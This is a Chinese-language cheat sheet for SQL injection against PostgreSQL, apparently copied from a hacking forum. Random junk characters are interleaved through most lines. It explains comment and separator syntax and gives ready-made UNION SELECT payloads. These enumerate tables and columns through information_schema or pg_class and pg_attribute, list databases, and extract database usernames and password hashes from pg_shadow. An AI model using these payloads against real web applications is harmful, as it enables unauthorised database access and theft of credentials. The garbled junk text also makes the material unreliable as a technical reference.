结合了MSSQL MySQL Oracle的一些特点
4 {" g) E, C( ?5 }支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/
V& F: R& w( J; Y J0 y u3 [连接符: %20 , + , /**/ 内置函数:) O! c" p, A7 w$ l- {9 l- [
current_database() //当前数据库名. g7 B. ^) i& K6 V' f
session_user //会话用户4 P+ e0 i2 K; d0 ?2 E/ b
current_user //当前数据库用户
/ W5 c9 W8 x4 W3 O1 z' k! C- R% Kuser //当前用户; g1 k2 n* Z) C7 S, ?' S! {
version() //数据库版本 Union注射:3 V3 n/ E- @. ~: i5 t
order by n–! n; D% A( W. ?' V# f
and 1=2 union select null,null,null–
0 {3 F0 J! B, w; Z( V6 nand 1=2 union select ‘beach’,null,null–
" Y* D& N: H4 _% o3 mand 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):+ n1 z# ^7 y9 ^/ ^: S
group_concat(table_name)% m8 D* |* y- Z& x$ C
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–$ B5 A- E& a/ P+ a( J* H
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
1 F7 d9 s5 m7 O' d& X" a. Z(老版本)" F" O* X+ R- N
pg_class.oid对应pg_attribute.attrelid
% _! s! _' E+ Fpg_class.relname表名
& ]& F) g; w2 y3 ?) _2 q) fpg_attribute.attname字段名 select relname from pg_class获取表名6 y. Z6 M9 I6 a$ N& }1 l
select oid from pg_class where 条件 获取参数
- ^2 h8 E- _/ K$ {! X' Uselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:- B$ S. k# D5 z! u3 L& v/ l) H
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表6 z9 v3 t5 r/ p8 I0 G1 H
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
4 O( t( _/ N$ Y, o由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名* K4 s* o: }4 O+ d6 A8 N: F& ^
======================================================================
. }( ?# s& d# T6 ?+ band 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
; H. g. w$ W+ V+ @2 Iand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |